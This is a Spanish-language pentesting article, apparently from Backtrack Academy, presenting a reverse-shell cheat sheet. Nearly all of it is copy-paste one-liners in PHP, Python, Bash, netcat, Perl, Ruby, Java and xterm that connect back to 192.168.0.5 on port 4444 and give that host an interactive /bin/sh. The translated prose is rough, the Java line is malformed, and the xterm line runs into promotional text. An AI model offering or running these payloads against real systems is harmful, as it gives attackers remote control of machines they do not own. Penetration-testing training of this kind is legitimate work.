
Artículo · Explotación de Vulnerabilidades
Hoja de trucos para Reverse Shell
INTRODUCCIÓN
Si tienes la suerte de encontrar una vulnerabilidad de ejecución de comandos durante una prueba de penetración, pronto querrás un shell interactivo.
Si no es posible agregar un nuevo archivo de cuenta / clave SSH / .rhosts e simplemente iniciar sesión, es probable que su próximo paso sea volver a truncar un shell inverso o unir un shell a un puerto TCP. Esta página trata de lo primero. Sus opciones para crear un shell inverso están limitadas por los lenguajes de script instalados en el sistema de destino, aunque probablemente también podría cargar un programa binario si está bien preparado.
Los ejemplos mostrados se adaptan a sistemas similares a Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si usa el sustituto “/ bin / sh -i” con “cmd.exe”.
Cada uno de los métodos a continuación está dirigido a ser de una sola línea que puede copiar / pegar. Como tales, son líneas bastante cortas, pero no muy legibles.
Ejemplos
PHP
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
PYTHON
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
BASH
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1
NETCAT
nc -e /bin/sh 192.168.0.5 4444
PERL
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
RUBY
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
JAVA
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
XTERM
xterm -display 192.168.0.5:4444¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Pentesting .

Escrito por
Omar Jacobo Muñoz VelizContent at Backtrack Academy
Content Dev en backtrackacademy, auditor de seguridad informatica y desarrollador de software.
